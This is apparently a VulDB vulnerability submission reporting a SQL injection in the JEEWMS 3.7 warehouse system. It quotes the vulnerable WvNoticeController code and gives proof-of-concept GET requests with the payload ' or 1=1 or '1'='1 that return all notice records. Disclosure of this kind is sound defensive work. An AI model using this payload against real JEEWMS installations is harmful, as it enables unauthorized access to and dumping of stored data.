| Title | erzhongxmu JEEWMS 3.7 SQL Injection |
|---|
| Description | JEEWMS v3.7 PDA/web search endpoints concatenate user-supplied searchstr parameters directly into HQL queries without parameterization, allowing authenticated attackers to alter query logic and dump data.
Verified example (WvNoticeController.list, line 89):
hql = hql + " and noticeId like '%" + searchstr + "%'" + " or imCusCode like '%" + searchstr + "%'";
A request with searchstr=' or 1=1 or '1'='1 returns ALL wv_notice rows instead of the filtered set (verified live: normal request returns 1 record, injected request returns all 3 records in the response JSON "obj" array).
In multi-item mode values are additionally wrapped as raw fragments:
insearch = insearch + " or goodsCode = '" + s + "'";
hql = hql + " and (" + insearch + ")";
A comma-split item containing a single quote escapes the literal.
PoC:
GET /wvNoticeController.do?username=test&searchstr=' or 1=1 or '1'='1 -> all records returned in "obj"
GET /wvNoticeController.do?username=test&searchstr=N001 -> only matching record
Vulnerable code: com/zzjee/wmapi/controller/WvNoticeController.java:89 and related controllers |
|---|
| Source | ⚠️ https://github.com/erzhongxmu/JEEWMS |
|---|
| User | Lib0gus (UID 101005) |
|---|
| Submission | 09/04/2026 11:19 (2 months ago) |
|---|
| Moderation | 10/11/2026 09:52 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 416556 [erzhongxmu JEEWMS up to 2026.09.27-W39 Search Endpoint WvNoticeController.java WvNoticeController.list searchstr sql injection] |
|---|
| Points | 20 |
|---|